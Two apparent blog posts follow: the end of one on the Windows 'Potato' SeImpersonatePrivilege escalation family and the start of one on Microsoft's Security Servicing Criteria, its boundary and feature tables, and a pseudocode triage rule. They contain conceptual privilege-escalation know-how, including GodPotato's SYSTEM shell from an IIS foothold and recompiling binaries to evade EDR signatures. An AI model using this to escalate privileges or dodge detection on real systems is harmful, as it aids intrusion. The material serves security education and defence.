The name `Potato` originates with Stephen Breen's `foxglovesec/Potato` repository, created February 9, 2016, three weeks after the January 16, 2016 HotPotato blog post [@foxglove-potato-repo; @foxglove-hotpotato]. HotPotato is in the family because it pivots through the same `SeImpersonatePrivilege` plus named-pipe-impersonation primitive that every later variant exploits -- the vehicle is different (NetBIOS spoofing + WPAD + HTTP-to-SMB rather than Distributed COM) but the architectural carve-out is the same. See §4 for the bracketing-variant framing. Because every Internet Information Services application-pool identity is granted the privilege by Windows default [@itm4n-printspoofer]. The grant exists for legitimate request-scoped impersonation -- it is the mechanism IIS uses to "act as" a calling user during authenticated request handling. The same default grant is the entire vulnerability surface for the Potato family. The Microsoft Security Servicing Criteria document treats the resulting `SeImpersonate`-to-SYSTEM transition as a safety boundary rather than a security boundary [@msrc-servicing-criteria; @troopers24]. No. CVE-2021-26414 hardening raises the *authentication* bar for Distributed COM clients to `RPC_C_AUTHN_LEVEL_PKT_INTEGRITY` and was fully enforced on March 14, 2023 in Phase 3 of the rollout [@ms-kb5004442]. It does not declare Distributed COM activation a security boundary. The proof is that GodPotato, which exploits an RPCSS OXID-handling defect rather than the activation authentication level, survives all three phases of the rollout and remains the practitioner default in 2026 [@beichendream-god]. Open question, with a defensible reading. LocalPotato attacks the local-user-to-local-user NTLM authentication context handle, which *is* on the servicing-criteria boundary list [@decoder-localpotato; @msrc-servicing-criteria]. RemotePotato0 attacks the `SeImpersonate`-to-SYSTEM transition via cross-session Distributed COM activation, which is *not* on the list and was therefore deemed an extension of the existing carve-out [@sentinellabs-relaying; @troopers24]. The two boundaries (local NTLM authentication context vs cross-session Distributed COM activation) are not equivalent in Microsoft's published servicing position. Yes, on every patched Windows 11 / Server 2025 build as of this writing [@beichendream-god]. The RPCSS OXID-handling defect that GodPotato weaponises survives all three CVE-2021-26414 hardening phases [@ms-kb5004442; @compass-three-headed]. Microsoft has not assigned a CVE to the underlying defect, consistent with the servicing-criteria reading. Operationally, the only thing that changes between releases is the binary signature -- EDR vendors signature the public Apache-2.0 binary by hash, and operators recompile from source with cosmetic changes to evade [@beichendream-god]. Does not exist as of May 2026. If a 2025-2026 variant appears under an unfamiliar name -- French or otherwise -- verify against the canonical sources before citing: `decoder.cloud` for the Pierini and Cocomazzi line, `github.com/antonioCoco/*` for the Cocomazzi-authored repositories, `github.com/BeichenDream/*` for the BeichenDream line, and `itm4n.github.io` for the PrintSpoofer / SweetPotato line [@decoder-silverpotato; @antonio-rogue; @beichendream-god; @itm4n-printspoofer]. The Troopers 24 retrospective is the community-canonical lineage list as of the most recent consolidated talk [@troopers24]. Informally, no. The primitive `ImpersonateNamedPipeClient` is in the legitimate hot path of nearly every Windows service [@ms-impersonate-api]. Per-variant signatures exist for the public binaries (GodPotato, PrintSpoofer, JuicyPotato), and ETW providers `Microsoft-Windows-COM` and `Microsoft-Windows-RPC` surface the activation-and-RPC events that the Distributed COM variants generate. A class-generalising detection rule has not been published as of May 2026, and the false-positive rate on legitimate Windows services is high for any rule that fires on `ImpersonateNamedPipeClient` alone [@troopers24].

13. The Architectural Decision

Return to the opening scene. The same Internet Information Services web shell, the same GodPotato.exe, the same ten-second SYSTEM shell. The reader now knows this is not a zero-day. It has been a single-binary operation for the better part of a decade. Every step is documented Win32 behaviour. And every step is permitted by Microsoft's published servicing position [@beichendream-god; @msrc-servicing-criteria; @troopers24].

Nine years of named-variant disclosures. Eleven named variants. Three Microsoft hardening waves. Two CVEs -- LocalPotato in January 2023, FakePotato in July 2024 [@nvd-cve-2023-21746; @nvd-cve-2024-38100]. One "Won't Fix" decision on a working Domain Admin escalation in April 2021 [@sentinellabs-relaying]. Zero declarations of SeImpersonatePrivilege or Distributed COM activation as a security boundary [@troopers24; @msrc-servicing-criteria]. The MSRC Windows Security Servicing Criteria document, the one whose boundary definition fetches in static HTML and whose enumeration table is JavaScript-rendered, is the through-line [@msrc-servicing-criteria]. Pierini and Cocomazzi say it bluntly in the Troopers 24 abstract:

Microsoft does not consider WSH a security boundary but rather a safety boundary; for this reason, many Potato exploits work (and have been working) on fully updated Windows systems. -- Pierini and Cocomazzi, Troopers 24 abstract [@troopers24]

Microsoft will never fix the Potato class because fixing it requires declaring Distributed COM activation a security boundary, and they have spent twenty-five years insisting it is not. What would change that? A major-version Windows release that explicitly revokes the default SeImpersonatePrivilege grant from service accounts -- a compatibility-breaking change that breaks IIS, SQL Server, BITS, the Spooler, and most third-party services that depend on the legitimate impersonation contract. No such release is on the public roadmap as of May 2026 [@msrc-servicing-criteria; @ms-kb5004442; @beichendream-god].

Until then, the family is alive, and the ten-second SYSTEM shell is the default outcome of any IIS or service-account foothold on a fully-patched Windows machine. That is not the unintended consequence of an unpatched bug. That is the intended consequence of a published architectural decision.

Key idea: The Potato family is not a stack of bugs Microsoft is slowly working through. It is the long-running consequence of a published architectural decision: that the SeImpersonatePrivilege-to-SYSTEM transition is a safety boundary, not a security boundary. Eleven variants over nine years of named-variant disclosures (HotPotato January 2016 -> FakePotato August 2024) are the empirical proof of how stable that decision is [@troopers24; @msrc-servicing-criteria].

The following retention block summarises the six key terms above. Citations for each definition live in §2.1, §2.2, §6.5, §6.1, §3, and §2 of the body respectively (the StudyGuide MDX wrapper does not render @ref-id links inline).

Windows Security Boundaries: The Document That Decides What Gets a CVE

noreply@paragmali.com (Parag Mali) — Sun, 24 May 2026 00:00:00 GMT

**Microsoft maintains a single public document that decides which Windows vulnerability reports receive a CVE, a Patch Tuesday bulletin, and a bounty payout, and which receive "by design."** The *Security Servicing Criteria for Windows* enumerates nine security **boundaries** (network, process, kernel, session, user, AppContainer, virtual machine, Virtual Trust Level, and as of 2025, the Administrator Protection elevation path) and seven security **features** (UAC, Microsoft Defender, HVCI, Driver Signing, Protected Process Light, admin-to-kernel privilege escalation, same-user post-authentication). A two-question triage rule generates every MSRC disposition, including every "by design -- UAC is not a security boundary" reply you have ever read. Reading the doctrine is the difference between filing a useful MSRC report and getting back one polite sentence.

1. A UAC Bypass Walks Into MSRC

Three weeks of reverse engineering. A clean video of consent.exe being skipped via a registry-hijack technique. A report filed through msrc.microsoft.com/report. Two business days later, the Microsoft Security Response Center replies in one sentence: "Thank you for the report. UAC is not a security boundary; please refer to the Microsoft Security Servicing Criteria for Windows. This issue is by design."

That sentence has been Microsoft's consistent position since June 2007 [@russinovich-vista-uac-wayback]. It is the operational anchor of every Windows vulnerability disposition made in the last nineteen years, and it routes through a single public document most researchers have never read.

The document is called the Microsoft Security Servicing Criteria for Windows [@msrc-criteria]. Twenty-eight paragraphs and two enumerated tables live on a single MSRC web page. Those paragraphs decide which Windows findings get a CVE number, which get a Patch Tuesday bulletin, which get a bounty payout, and which get a polite "by design" reply that closes the ticket without a fix. Every other operational artifact in Microsoft's security response -- the bounty schedule, the monthly bulletin calendar, the per-finding severity ratings -- is downstream of this one taxonomy.

Note: The "by design" reply is not boilerplate. Every MSRC triage engineer who issues it is applying a specific clause of a specific document. The reply means: we read your finding, mapped it against our published classification, and the primitive you attacked is on our security-feature list rather than our security-boundary list. We may still harden the feature in a future build, but we are not going to assign a CVE or ship a Patch Tuesday bulletin for it. The classification is published. The disposition follows from the classification.

The researcher's first reaction is the natural one. Three weeks of work. A working bypass. A Microsoft binary skipped. And the reply is one sentence?

It is right, and the rest of this article is the explanation of why. We will walk the document's history from a single June 2007 TechNet article through the November 2024 Administrator Protection announcement, decode the two-question triage rule that generates every MSRC disposition, take each of the nine boundaries and each of the seven features in turn, and finish with a checklist for filing a report that does not come back "by design."

To understand why the reply was operationally correct, not a cop-out, we have to walk the document's history back to its origin: a single article published in TechNet Magazine in June 2007, by an author Microsoft had named a Technical Fellow just five months before.

2. The Pre-Doctrine Era

For the first fourteen years of Windows NT, there was no servicing-criteria document. There did not need to be.

Windows NT 3.1 (July 1993) shipped with the architectural pieces every later boundary entry would rest on: the user-mode/kernel-mode privilege split enforced by the CPU's ring transitions, securable kernel objects mediated by the reference monitor's SeAccessCheck primitive, the Security Account Manager (SAM) database with per-user Security Identifiers (SIDs), discretionary access control lists, and access tokens that travelled with every thread [@openlib-custer-nt]. The kernel boundary -- user-mode code MUST NOT execute kernel code without a syscall transition -- and the user boundary -- one user's process MUST NOT read another user's data without permission -- were born here as primitives, two decades before either would be enumerated in a vendor-disclosure document.

But the architecture was not a doctrine. The boundaries sat implicitly inside Helen Custer's Inside Windows NT (Microsoft Press, 1992) and a handful of internal MSDN reference monographs. A researcher reporting a finding in 1998 could not look up "is this a boundary?" anywhere they were authorised to read.

A *security boundary* provides a logical separation between the code and data of security domains with different levels of trust [@msrc-criteria]. The defining requirement is that security policy dictates what can pass through the boundary -- a guarantee, not a hint. A *security feature*, by contrast, raises the difficulty of attack but carries no vendor commitment that the separation will hold. This distinction, articulated by Mark Russinovich in 2007, is the load-bearing taxonomy of the entire MSRC triage process.

Three failures accumulated pressure during the implicit-boundary era.

The Power Users group. Microsoft documented the Power Users group on Windows 2000 and XP as a "less-privileged-than-administrator" middle tier. Microsoft Knowledge Base article KB 825069 eventually conceded that members could obtain administrator rights through multiple privilege paths (the article has since been retired).The Power Users group survived through Windows Server 2003 and was finally dropped from the default Windows Vista install. The lesson stuck: a tier presented as a separation without a policy-enforced guarantee is not a separation at all. The Russinovich convenience-vs-boundary distinction inherits the lesson. A tier presented operationally as a boundary that turned out never to have been one.

The wormable RCE class of 2001-2003. Code Red (July 2001) and the RPC DCOM Blaster worm (August 2003) compromised millions of internet-connected Windows hosts [@caida-code-red], [@cert-vu-568148]. Microsoft shipped MS03-026 with Critical severity for the Blaster RPC interface vulnerability [@ms-bulletin-ms03-026]. Operationally, the events made one thing legible: there was no place in the kernel architecture you could point at and say "this is the network boundary that held." There was a buffer overflow, an unauthenticated RPC call, and a worm.

The 2002 Shatter class. In August 2002, a researcher posting under the handle "Foon" (Chris Paget) disclosed to NTBugtraq that any process on the interactive desktop could drive any other process's windows via Win32 messages [@helpnetsecurity-shatter-2002]. That included SYSTEM-level services with windows on the same desktop, turning every interactive service into a local privilege-escalation surface. Brett Moore generalised the class the following year in Shattering By Example, walking message types like WM_SETTEXT, SB_SETTEXT, and SB_GETTEXTLENGTH and turning a one-off bug into a systematic primitive [@exploit-db-21691]. Microsoft's initial response framed the problem as architectural-by-design rather than as a vulnerability. The community could not predict that response, because the boundary was nowhere written down.

timeline title Pre-doctrine era (NT 3.1 to Vista RTM) 1993 : Windows NT 3.1 ships with SeAccessCheck and per-user SIDs 1995 : Windows NT 3.51 and the SAM database stabilise 1996 : Windows NT 4.0 ships with the Power Users group 2000 : Windows 2000 introduces Active Directory 2001 : Code Red worm compromises IIS hosts at internet scale 2002 : Chris Paget discloses Shatter via NTBugtraq 2002 : Bill Gates Trustworthy Computing memo reorders Microsoft priorities 2003 : Brett Moore generalises Shatter in Shattering By Example 2003 : RPC DCOM Blaster worm and MS03-026 2006 : Russinovich joins Microsoft via Winternals acquisition 2006 : Windows Vista RTM ships with UAC, MIC, UIPI, and Session 0 isolation 2007 : Russinovich promoted to Technical Fellow

The combined pressure forced Bill Gates's January 15, 2002 Trustworthy Computing memo -- "Trustworthy Computing is the highest priority for all the work we are doing" [@wired-twc-memo]. The memo did not itself contain a boundary taxonomy. It reorganised engineering priorities so that one could be written.

By the November 2006 Vista launch, the mechanisms were in the box. Windows Vista shipped with User Account Control, the linked-token split, Mandatory Integrity Control, the User Interface Privilege Isolation (UIPI) shield, and Session 0 isolation [@ms-news-vista-launch]. By June 2007, those mechanisms had names. The document the next two decades of Windows vulnerability disclosure would route through was about to be written -- not by an MSRC document committee, but by a single Technical Fellow Microsoft had promoted to the title five months earlier.

3. Russinovich, June 2007, and the Birth of the Distinction

In the June 2007 issue of TechNet Magazine, Mark Russinovich -- promoted to Technical Fellow that January, after joining Microsoft via the July 2006 Winternals acquisition -- published a single article that would dictate the disposition of every Windows vulnerability filed for the next nineteen years. The article was Inside Windows Vista User Account Control [@russinovich-vista-uac-wayback]. Its load-bearing section, Elevations and Security Boundaries, ran two paragraphs.

It's important to be aware that UAC elevations are conveniences and not security boundaries. A security boundary requires that security policy dictates what can pass through the boundary. User accounts are an example of a security boundary in Windows because one user can't access the data belonging to another user without having that user's permission. -- Mark Russinovich, *Inside Windows Vista User Account Control*, TechNet Magazine, June 2007

The article was first published on TechNet on May 23, 2007 and ran in the June issue of the magazine [@russinovich-vista-uac-announce]. That sentence is the doctrinal origin point. Three architectural ideas appear in it: boundaries exist, they are different from features, and UAC sits on the feature side.

Russinovich then walked the structural reason. The Vista UAC split-token model shares a great deal between the standard-user token and the elevated-administrator token [@russinovich-vista-uac-wayback]: the same SID, the same %USERPROFILE% directory, the same HKEY_CURRENT_USER registry hive, the same logon session, and the same DOS device object directory. Those shared resources are the reason the elevation path cannot be a guaranteed separation. An attacker running at standard integrity on the same desktop can interact with the elevated process's window station, its named objects, and its user-writable files. The convenience is real -- prompting before a privileged operation is a high-friction barrier against accidental elevation. The guarantee is not.

flowchart TD User[Interactive user logs on] User --> Linked[Linked-token logon] Linked --> Standard[Standard-user token] Linked --> Elevated[Elevated administrator token] subgraph Shared[Shared resources between the two tokens] SID[Same user SID] Profile[Same USERPROFILE] HKCU[Same HKCU hive] Session[Same logon session] Desktop[Same interactive desktop] end Standard -.-> Shared Elevated -.-> Shared Shared --> Verdict[No guaranteed separation = feature, not boundary]

The article identifies the real boundaries Windows enforces -- the user boundary (cross-user access requires explicit permission), the kernel boundary (the syscall gate), and the process boundary (one process cannot read another's memory without PROCESS_VM_READ access) -- as the lines policy does enforce. UAC sits among the features that make those boundaries cheaper to defend, not among the boundaries themselves.

The widely-circulated press narrative is that Microsoft *initially* called UAC a security boundary and *retracted* that classification in 2009 after the Zheng and Rivera research. This framing is false. Russinovich's June 2007 article already said verbatim that UAC elevations are "conveniences and not security boundaries." The position was on the record from Vista's first six months, two years before any 2009 Windows 7 beta disclosure. What Microsoft changed in 2009 was *implementation* -- the UAC slider began running at High integrity, UAC-settings changes began prompting -- not the classification. The Russinovich Windows 7 follow-up restated the original position word for word [@ms-learn-russinovich-win7].

The historical record matters because so much downstream doctrine rests on it. In late January 2009, Long Zheng and Rafael Rivera demonstrated a Windows 7 beta UAC auto-elevation flaw via rundll32.exe: Microsoft-signed binaries inside %SystemRoot% auto-elevated when invoked from a process holding the user's administrator token, and rundll32.exe accepted arbitrary DLL paths [@crn-uac-flaw-2009].The original istartedsomething.com post and the Ars Technica contemporary coverage have since been reorganised away by both sites; the CRN contemporary report (cited here) preserves the disclosure timeline, the rundll32.exe mechanism, and the Microsoft response. The historical claim is uncontested. What is contested is the framing of Microsoft's response, which primary sources show was implementation hardening, not a change in classification. Microsoft's initial reply ("by design; UAC is not a security boundary") was operationally consistent with the June 2007 article. The engineering response that followed -- UAC slider promoted to High integrity, UAC-settings changes prompting -- was implementation hardening, not reclassification. The doctrinal position did not move. Russinovich's July 2009 follow-up, Inside Windows 7 User Account Control, restated the convenience-vs-boundary argument with the same architectural reasoning [@ms-learn-russinovich-win7].

Russinovich's June 2007 article gave the community three ideas: boundaries exist; they are different from features; UAC sits on the feature side. The next step was to publish the table. That took roughly five years.

4. The Document Accumulates

Between 2007 and 2026, the boundary table grew by accretion. One new entry per Windows generation. The shape of the doctrine changed three times.

Generation 1 -- scattered prose (2007 to roughly 2010). Russinovich's June 2007 article, plus the July 2009 Inside Windows 7 User Account Control restatement, articulated the convenience-vs-boundary doctrine without a public enumeration. A reader of the two articles could correctly predict the disposition of a UAC bypass, and could correctly predict that user-to-user data access was a CVE-eligible boundary violation. They could not, from those articles alone, predict the disposition of a network-stack RCE, an AppContainer escape, or a guest-to-host virtual-machine break. The doctrine was consistent but it was not yet a document.

Generation 2 -- the enumerated MSRC page (roughly 2010 to 2015). The microsoft.com/en-us/msrc/windows-security-servicing-criteria page appears in something close to its current form. It states the two-question triage rule. It includes the verbatim definition of a security boundary. It enumerates a list of boundaries -- process, kernel, network, session, user, AppContainer, virtual machine, web browser -- and a parallel list of security features. The doctrine moves from a single magazine article to a vendor commitment with a URL [@msrc-criteria].The first-publication date of the page is folk knowledge. Wayback Machine snapshots survive from 2017 onward at the current URL slug. No Microsoft announcement post pins the exact date the page first appeared, so the "roughly 2010" figure is a community estimate rather than a documented birthday.

Generation 3 -- VTL added (2015 to 2017). Windows 10 1507 (RTM July 29, 2015) shipped Virtualization-Based Security, the Secure Kernel, Isolated User Mode (IUM), and the first canonical Trustlet -- LsaIso, the Credential Guard isolated LSA process. The boundary table grew a row whose enforcement primitive is the hypervisor itself: VTL0 (the normal kernel) cannot read or modify VTL1 (the Secure Kernel and IUM) without going through documented hypercalls [@ms-learn-vbs-ci]. The strongest local boundary on the system is now classified, not orphaned.

A *Trustlet* is a process that runs inside Isolated User Mode (IUM) -- the user-mode portion of VTL1 -- protected by the hypervisor from the normal-kernel VTL0 [@ms-learn-vbs-ci]. The canonical example is LsaIso, the Isolated LSA process that holds the credential material Credential Guard protects. Even a kernel-mode attacker in VTL0 cannot read the memory of a Trustlet running in VTL1; the hypervisor's second-level address translation tables do not map VTL1 pages into VTL0. Cross-VTL communication routes through Virtual Secure Mode hypercalls (`HvCallVtlCall` and `HvCallVtlReturn`), which are the only documented channel.

Generation 4 -- stabilised reference (2018 to 2024). No new rows. The boundary list is treated as a stable reference that MSRC, researchers, and the community all cite. Three flagship community projects encode the doctrine in their names and structure during this period: hfiref0x's UACMe (more than 80 catalogued UAC bypasses, none of which receive CVE numbers) [@uacme]; Gabriel Landau's ItsNotASecurityBoundary GitHub repository, whose name is an explicit homage to MSRC's admin-to-kernel policy [@landau-itsnotasb-gh]; and Alon Leviev's Windows Downdate, presented at Black Hat USA 2024 [@leviev-downdate-orig]. The community-side institutional memory now exists outside MSRC, augmented by Matt Miller's BlueHat IL keynotes (notably the 2019 Trends, challenges, and shifts in software vulnerability mitigation talk) that carried the boundary-and-mitigations story to the security-conference audience in parallel with the MSRC page [@miller-bluehat-il-2019].

Generation 5 -- Administrator Protection (2024 to 2026). On November 19, 2024, David Weston announced Administrator Protection at Microsoft Ignite, framing it as part of the Windows Resiliency Initiative [@weston-ignite-2024]. The Microsoft Learn page carries the verbatim doctrinal statement: "Administrator protection introduces a new security boundary with support to fix any reported security bugs" [@ms-learn-admin-protection]. This is the first new boundary entry added to the servicing-criteria table in nearly a decade.

The *System Managed Administrator Account* is the elevation primitive at the heart of Administrator Protection [@ms-learn-admin-protection]. Each interactive user with administrator privileges has a hidden, system-generated, profile-separated SMAA companion account provisioned in the SAM database. Elevations route through Windows Hello consent and run against the SMAA token, which has a *different* SID, a *different* profile directory, and a *different* logon session from the user's standard-user token. The token is destroyed when the elevated process ends. The shared-resources structural reason UAC could not be a boundary no longer applies, because the SMAA token does not share those resources with the user's standard token. timeline title Five generations of the boundary doctrine section Generation 1 - Scattered prose (2007 to 2010) 2007 : Russinovich publishes the convenience-vs-boundary distinction 2009 : Long Zheng and Rafael Rivera force UAC implementation hardening 2009 : Russinovich Windows 7 follow-up restates the doctrine section Generation 2 - Enumerated page (2010 to 2015) 2010 : MSRC servicing-criteria page goes live with two-question rule 2014 : hfiref0x publishes UACMe v1.0 2014 : CVE-2014-4113 Win32k EoP becomes canonical kernel-boundary case section Generation 3 - VTL added (2015 to 2017) 2015 : Windows 10 1507 ships VBS, Secure Kernel, Credential Guard 2016 : Edge AppContainer sandbox cements the browser boundary entry 2017 : EternalBlue and MS17-010 anchor the network-boundary case study section Generation 4 - Stabilised reference (2018 to 2024) 2023 : Landau PPLFault names PPL as not a security boundary 2024 : Landau ItsNotASecurityBoundary homages MSRC policy in repo name 2024 : Leviev Windows Downdate at Black Hat USA 2024 section Generation 5 - Administrator Protection (2024 to 2026) 2024 : Ignite keynote announces Administrator Protection as new boundary 2025 : Developer-blog detail post lands 2025 : October non-security update KB5067036 rolls out and is reverted 2026 : Forshaw publishes nine pre-GA bypasses via Project Zero

The December 1, 2025 rollout revert of the October 2025 non-security update KB5067036 is an application-compatibility decision, not a doctrinal one [@ms-learn-admin-protection]. The Microsoft Learn page now reads that the feature will roll out "at a later date." The boundary classification stands; the rollout schedule slipped.

Five generations later, the boundary table has nine entries. The next section walks the parallel evolution that nobody outside MSRC reads first -- the not-a-boundary table -- because that is the table that decides what does not get a CVE.

5. The Not-a-Boundary Table Also Accumulates

For every boundary Microsoft has added to the servicing-criteria table, there is a primitive that did not make the list. The not-a-boundary table tells a parallel story: primitives that attackers repeatedly tried to make into boundaries, and that Microsoft repeatedly classified as features. Seven entries, each tied to a load-bearing research artifact.

User Account Control (since June 2007). The original not-a-boundary entry; see Section 8.1 for the full treatment.

Driver Signing / Code Integrity / KMCS (since the Vista x64 kernel-mode driver signing requirement). Local administrator can, by design, load drivers; see Section 8.2. The "bring your own vulnerable driver" (BYOVD) catalog and the LOLDrivers project are the institutional memory [@loldrivers].

*BYOVD* is the attack pattern in which a privileged user installs a legitimately-signed driver that happens to contain an exploitable vulnerability, then exploits the driver to obtain arbitrary kernel-mode code execution. Because Driver Signing is on the security-feature side of the doctrine, a BYOVD chain that exploits a signed driver does not, on its own, receive a CVE attributed to Microsoft -- the driver vendor may receive one, but Microsoft does not classify the loadability of the driver as a boundary crossing. The Lazarus Group's use of expired-but-signed drivers and the broader [LOLDrivers catalog](https://www.loldrivers.io/) are the operational embodiment of this classification [@loldrivers].

Microsoft Defender / Antimalware. A heuristic detection layer cannot, by construction, be a boundary. Defender bypasses earn CVEs only when they also cross another boundary (see Section 8.3 for the Tavis Ormandy 2014 to 2017 network-boundary pattern; the flagship CVE-2017-0290 crazy bad MsMpEng RCE is the canonical example [@ms-advisory-4022344]).

HVCI / Memory Integrity. A feature enforced at the VTL boundary, not itself a boundary; see Section 8.4.

Protected Process Light (PPL). Introduced in Windows 8.1 to protect anti-malware services and other specially-signed processes from administrator tampering [@ms-learn-am-ppl]. Gabriel Landau's PPLFault research preserves the verbatim MSRC position that PPL is not a security boundary; see Section 8.5 for the full Landau quotation [@landau-pplfault].

Administrator-to-kernel privilege escalation. Local administrator can, by design, load drivers; see Section 8.6. Gabriel Landau named his False File Immutability research repository ItsNotASecurityBoundary as an explicit homage to MSRC's policy [@landau-itsnotasb-gh]; Alon Leviev's October 2024 Downdate follow-up contains the most recent verbatim Microsoft quotation of this position (see Section 8.6) [@leviev-downdate-update].

Same-user post-authentication. Once a process has executed under a user's session, it inherits that user's trust; per-process isolation within the same user is not a declared boundary. James Forshaw's June 3, 2024 Working your way Around an ACL post is the doctrinal anchor (see Section 8.7 for the verbatim formulation) [@forshaw-tyranid-acl].

Here are the two tables side by side.

The boundary table (nine entries)	What enforces it
Network	NDIS/TCP-IP/SMB/RPC stack; remote callers are the lowest trust tier
Kernel	SYSCALL/SYSRET transition, syscall service table, Driver Verifier, HVCI
Process	`SeAccessCheck` on `PROCESS_VM_READ`, `PROCESS_VM_WRITE`, `NtDuplicateObject`
Session	Session 0 vs Session 1+; per-session `BaseNamedObjects` namespace isolation
User	Per-user SIDs in SAM, file-system DACL inheritance, per-user `HKCU`
AppContainer	LowBox token + capability SID list + DENY-by-default ACLs
Virtual machine (guest-to-host)	Hyper-V root partition, VMBus, synthetic device model
VTL (VTL0 to VTL1)	Hypervisor-enforced SLAT (Intel EPT / AMD NPT); VSL hypercalls as the only cross-VTL channel
Administrator Protection elevation path (2025)	SMAA with separate SID, profile, logon session; Windows Hello consent

The not-a-boundary table (seven entries)	Why it is a feature, not a boundary
UAC	Split token shares SID, profile, session, namespace; no policy guarantee
Driver Signing / Code Integrity / KMCS	Administrators can install drivers by design
Microsoft Defender / Antimalware	Heuristic detection cannot guarantee detection
HVCI / Memory Integrity	A feature enforced at the VTL boundary, not itself a boundary
Protected Process Light (PPL)	Hardened against admin tampering, not policy-guaranteed
Administrator-to-kernel privilege escalation	Admin loads drivers; drivers run in kernel; structural
Same-user post-authentication	One user, one trust scope; per-process isolation not declared

The not-a-boundary table is the doctrine learning. Each new entry is a primitive an attacker class repeatedly tried to treat as a boundary, and Microsoft explicitly classified as a feature so the operational question -- does this report receive a CVE? -- has a stable answer.

Two tables. Sixteen total entries. One operational question per report. But how does Microsoft actually apply this -- and why is the application correct, not a cop-out?

6. The Two-Question Triage Rule

Here is the load-bearing engineering decision of the entire document: the classification question is decoupled from the severity question. Microsoft does not ask "is this report important enough to fix" as a single judgment call. It asks two separate questions, and both have to be answered yes.

The MSRC servicing-criteria page states the rule verbatim:

"The criteria used by Microsoft when evaluating whether to provide a security update or guidance for a reported vulnerability involves answering two key questions:

Does the vulnerability violate the goal or intent of a security boundary or a security feature?

Does the severity of the vulnerability meet the bar for servicing?" [@msrc-criteria]

The second question is parameterised by a separate document, the Microsoft Vulnerability Severity Classification for Windows, often called the Windows Bug Bar [@msrc-bugbar]. The Bug Bar defines four severity levels -- Critical, Important, Moderate, Low -- with worked examples for each vulnerability type (remote code execution, elevation of privilege, information disclosure, denial of service, spoofing, tampering). It also pivots between server and client severity. A bug that earns Critical on a server can earn Important on a client, and the disposition can change accordingly.

The first question answers the eligible-by-doctrine half. A boundary crossing is in scope. A feature defeat is also in scope -- Microsoft does service security features when the severity bar is met, but the path is different. The second question answers severity-meets-bar. Critical and Important on the Bug Bar route to a security update via Patch Tuesday (or out-of-band when the impact warrants it). Moderate and Low route to "consider for the next version or release of Windows."

The doctrine has an explicit relief valve.

If the answer to both questions is yes, then Microsoft's intent is to address the vulnerability through a security update and/or guidance ... If the answer to either question is no, then by default the vulnerability will be considered for the next version or release of Windows but will not be addressed through a security update or guidance, though exceptions may be made. -- Microsoft Security Servicing Criteria for Windows [@msrc-criteria]

Notice the work the and is doing. Two independent gates, both required. A feature defeat with Critical impact (for example, a Defender bypass that enables ransomware deployment at scale) can still ship as a Patch Tuesday item -- but it does so via the second question, with the explicit exception clause as the framing. A boundary crossing with Low severity (a process-isolation primitive bypass that requires preconditions no realistic attacker would arrange) might not ship as a bulletin.

flowchart TD Report["Vulnerability report arrives at MSRC"] Q1{"Q1: Does it violate a boundary or feature?"} Q2{"Q2: Does severity meet the bar (Critical or Important)?"} Excp{"Exception applies?"} Service["Service via security update / Patch Tuesday"] Defer["By design / consider for next release"] Report --> Q1 Q1 -- "No" --> Excp Q1 -- "Yes" --> Q2 Q2 -- "Yes" --> Service Q2 -- "No" --> Excp Excp -- "Yes" --> Service Excp -- "No" --> Defer

Key idea: Classification and severity are decoupled. The and of the two questions is the doctrine. Every "by design" reply the community has ever received is generated by this exact rule, applied with the published boundary list, the published feature list, the published severity bar, and the published exception clause.

The rule, restated as runnable pseudocode, looks like this. Try the three example inputs to see the doctrine in action.

{` // The MSRC servicing-criteria triage, in pseudocode. const BOUNDARIES = new Set([ "network", "kernel", "process", "session", "user", "appcontainer", "vm", "vtl", "administrator-protection", ]); const FEATURES = new Set([ "uac", "defender", "hvci", "driver-signing", "ppl", "admin-to-kernel", "same-user", ]);

function disposition(report) { const { primitive, severity, exception } = report; const isBoundary = BOUNDARIES.has(primitive); const isFeature = FEATURES.has(primitive); const violatedSomething = isBoundary || isFeature; const meetsBar = (severity === "Critical" || severity === "Important"); if (violatedSomething && meetsBar) return "Service via security update"; if (exception) return "Service via security update (exception)"; return "By design / consider for next version"; }

// Example 1: a fresh UAC bypass (consent.exe registry hijack) console.log("UAC bypass ->", disposition({ primitive: "uac", severity: "Important" }));

// Example 2: a pre-auth SMB RCE like CVE-2017-0144 EternalBlue console.log("SMB pre-auth ->", disposition({ primitive: "network", severity: "Critical" }));

// Example 3: a PPLFault-class bypass loading unsigned code into a PPL console.log("PPLFault ->", disposition({ primitive: "ppl", severity: "Important" })); `}

Run it. The UAC bypass returns "Service via security update" only because UAC is on the feature table -- so the first question is yes (a feature defeat) and the second question is yes (Important severity) -- and both questions matter. If you change the severity to Moderate the disposition flips to "by design / consider for next version." If you change the primitive to one that is not on either table, the disposition again becomes "by design" unless the exception clause fires.

That is the entire MSRC triage rule. Nine boundary entries, seven feature entries, one severity scheme, one exception clause. Every "by design" reply the community has ever received is generated by this exact rule.

Note: A single-question rule would collapse the doctrine. "Is this report important enough to fix" without a published classification turns every disposition into MSRC engineers' personal judgment. "Is this a boundary crossing" without a severity gate would force Microsoft to ship a Patch Tuesday bulletin for every low-impact boundary-adjacent finding, including the ones with no realistic attack path. Decoupling lets Microsoft commit to a published taxonomy on the first question while retaining engineering judgment on the second, with the exception clause as the explicit relief valve in either direction.

With the rule in hand, the next three sections walk the parameters of the rule -- the nine boundary entries, the seven feature entries, and the bounty schedule that mechanically follows both -- at one consistent pedagogical depth per entry.

7. The Nine Boundaries, Walked

One subsection per boundary. Each follows the same template: the architectural primitive that enforces the boundary, the canonical CVE-eligible violation pattern, and one verified historical case study.

7.1 Network boundary

Primitive. The NDIS / TCP-IP / SMB / RPC / HTTP server stacks treat remote callers as the lowest trust tier. Any code that processes attacker-influenced bytes off the wire before authenticating the caller sits at this boundary.

Violation. Pre-authentication remote code execution. A remote attacker reaches SYSTEM (or any local code execution) without first satisfying an authentication primitive.

Case study. EternalBlue, CVE-2017-0144, MS17-010. The SMBv1 server in Windows Vista SP2 through Windows 10 1607 accepted crafted packets that triggered a memory-corruption primitive in the kernel-mode driver, yielding pre-authentication remote code execution [@nvd-2017-0144]. NSA-developed; Shadow Brokers-leaked; weaponised within weeks by WannaCry and NotPetya. Critical severity, mandatory patch, the canonical network-boundary case in the entire taxonomy. SMBGhost (CVE-2020-0796) [@nvd-2020-0796] and PrintNightmare (CVE-2021-34527) [@nvd-2021-34527] are the supporting cases. PrintNightmare is particularly instructive because it crosses two boundaries simultaneously -- remote code execution via a malicious shared printer driver (network) and local privilege escalation via the same primitive on the spooler service (kernel).

7.2 Kernel boundary

